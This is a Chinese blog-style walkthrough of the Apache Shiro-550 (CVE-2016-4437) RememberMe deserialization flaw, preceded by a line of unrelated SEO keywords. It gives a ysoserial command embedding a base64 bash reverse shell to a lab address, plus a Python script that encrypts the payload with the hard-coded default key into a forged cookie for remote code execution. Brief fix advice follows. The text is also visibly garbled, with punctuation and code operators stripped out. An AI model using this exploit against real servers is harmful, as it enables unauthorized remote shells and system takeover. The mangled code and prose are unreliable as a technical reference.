廊坊网站建设兼职,二级网站模板,wordpress怎么作模版,网站建设招标办法shiro
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序漏洞原理
在Apache shiro的框架中#xff0c;执行身份验证时提供了…shiro
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序漏洞原理
在Apache shiro的框架中执行身份验证时提供了一个记住密码的功能RememberMe如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据这一段数据包含了用户的身份信息且是经过加密的。加密的过程是用户信息序列化AES加密这一步需要用密钥keybase64编码添加到RememberMe Cookie字段。勾选记住密码之后下次登录时服务端会根据客户端请求包中的cookie值进行身份验证无需登录即可访问。那么显然服务端进行对cookie进行验证的步骤就是取出请求包中rememberMe的cookie值 Base64解码AES解密用到密钥key反序列化。
出现问题的点在AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制加解密用到是相同的密钥这个密钥应该是绝对保密的在shiro版本1.2.24的版本中使用了固定的密钥kPHbIxk5D2deZiIxcaaaA这样攻击者直接就可以用这个密钥实现上述加密过程在Cookie字段写入想要服务端执行的恶意代码最后服务端在对cookie进行解密的时候反序列化后就会执行恶意代码。登录时是否选择Remember Me都不影响漏洞的复现。 生成base64后的反弹shell。 使用 ysoserial-0.0.6-SNAPSHOT-all.jar工具进行序列化直接调用对应的模块添加上自己的payload即可方便快捷。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} poc.ser将序列化后的payload放到python代码同一目录下进行aes加密并进行base64转码。在这之前首先我们要知道shiro的key值是什么要不然G。当然目前暴露的shiroKey值很多可以自己写个脚本进行爆破。我使用的key值是shiro的默认值。
import sys
import uuid
import base64
from Crypto.Cipher import AESshiro_key []def getKey(path):with open(path) as file:shiro_key.append(file.readlines())def encode_rememberme(shiro_key):f open(poc.ser, rb)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key base64.b64decode(shiro_key)iv uuid.uuid4().bytesencryptor AES.new(key, AES.MODE_CBC, iv)file_body pad(f.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:# path ./shiroKey.txt# getKey(path)shiro_key kPHbIxk5D2deZiIxcaaaApayload encode_rememberme(shiro_key)print(rememberMe{0}.format(payload.decode()))将生成的payload复制到cookie的值处即可其它的不要动。 下面这个图显示的是使用正确的账户登录显示的内容。 下面这个图显示的是使用非正确的账户登录显示的内容。 通过这两个图对比可以发现该漏洞不需要正确的账户即可getshell。有一个前提条件就是需要shiro的key值。 发完包以后直接getshell。
总结
shiro550漏洞漏洞点就在于用户信息反序列化可利用,并且加密的key值给了一个固定的默认值的导致很多开发人员直接使用接着导致了洞的产生。
修复建议
1、及时升级shiro版本。不要忘记升级前做备份。 2、不再使用固定的密钥加密。
参考链接
shiro反序列化漏洞(CVE-2016-4437)漏洞复现https://blog.csdn.net/HEAVEN569/article/details/125389987 Shiro-550 漏洞复现:https://blog.csdn.net/qq_46440393/article/details/123493079 shiro550漏洞复现与研究:https://www.163.com/dy/article/GCN65SL20511FSTO.html